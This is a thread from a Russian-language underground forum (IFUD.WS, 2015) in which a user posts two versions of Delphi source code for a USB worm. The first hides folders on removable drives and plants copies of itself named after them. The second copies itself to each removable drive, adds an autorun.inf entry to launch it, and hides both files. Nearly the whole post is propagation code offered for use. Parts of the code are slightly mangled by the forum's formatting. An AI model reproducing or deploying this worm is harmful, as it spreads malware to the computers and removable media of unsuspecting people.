1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

usb worm

Тема в разделе "Исходные коды", создана пользователем OFF, 31 янв 2015.

  1. TopicStarter Overlay
    usFire

    usFire

    Регистрация:
    20 авг 2012
    Сообщения:
    274
    Симпатии:
    177
    v1

    ищет съемные носители

    1. procedure InfectUsb;
    2. var
    3. DiskType,ifind : integer;
    4. Drives : set of 0..25;
    5. Drv : char;
    6. begin
    7. try
    8. Integer(Drives):=GetLogicalDrives;
    9. for ifind:=0 to 25 do
    10. if (ifind in Drives) then
    11. begin
    12. Drv:=Char(ifind+Ord('A'));
    13. DiskType:=GetDriveType(PChar(Drv+':\'));
    14. if (DiskType = DRIVE_REMOVABLE) then
    15. begin
    16. InfectDir(PChar(Drv+':\'));
    17. end;
    18. end
    Инфецирует папки на них, замещает собой и скрывает

    1. procedure InfectDir(Root: String);
    2. var
    3. F: TSearchRec;
    4. i: Integer;
    5. h: THandle;
    6. L: TStringList;
    7. begin
    8. L:=TStringList.Create;
    9. L.Clear;
    10. L.Add(Root);
    11. i := 0;
    12. while i < L.Count do begin
    13. Root := IncludeTrailingBackslash(L.Strings);
      [*] h := FindFirst(Root + '*.*', faAnyFile, F);
      [*] while h = 0 do begin
      [*] if (F.Attr and faDirectory) = faDirectory then begin
      [*] if (F.Name <> '.') and (F.Name <> '..') then begin
      [*] L.Add(Root + F.Name);
      [*] SetFileAttributes(PChar(Root+F.Name),faHidden);
      [*] CopyFile(pchar(ParamStr(0)),pchar(Root + F.Name+'.exe'),false);
      [*] SetFileAttributes(PChar(Root+F.Name+'.exe'),faArchive);
      [*] end;
      [*] end;
      [*] h :=FindNext(F);
      [*] end;
      [*] FindClose(F);
      [*] Inc(i);
      [*] end;
      [*] L.Free;
      [*] end;



    v2


    unit uUSBSpread;

    interface

    uses
    Windows, uInstall, pFunc, uConst;

    function InfectUsbDrives(ExeName:string) :Integer;

    implementation

    function InfectUsbDrives(ExeName:string) :Integer;
    var
    Drive: Char;
    myFile: TextFile;
    begin
    Result := 0;
    for Drive := 'A' to 'Z' do
    begin
    if (GetDriveType(PChar(Drive + ':\'))= DRIVE_REMOVABLE) then
    begin
    try
    if FileExists(Drive+':\'+ExeName) = False then
    begin
    CopyFile(PChar(ParamStr(0)),PChar(Drive+':\'+ExeName),False);
    AssignFile(myFile, Drive+':\autorun.inf');
    if not FileExists(Drive+':\autorun.inf') then ReWrite(myFile)
    else Append(myFile);
    WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName);
    CloseFile(myFile);
    sleep(10);
    HideFile(Drive+':\'+ExeName);
    sleep(10);
    HideFile(Drive+':\autorun.inf');
    Result := Result + 1;
    end;
    except
    end;
    end;
    end;
    end;

    end.
     
    • Like Like x 3
    • Informative Informative x 1
    • Friendly Friendly x 1
    Последнее редактирование: 31 янв 2015
    Метки:

Поделиться этой страницей

Загрузка...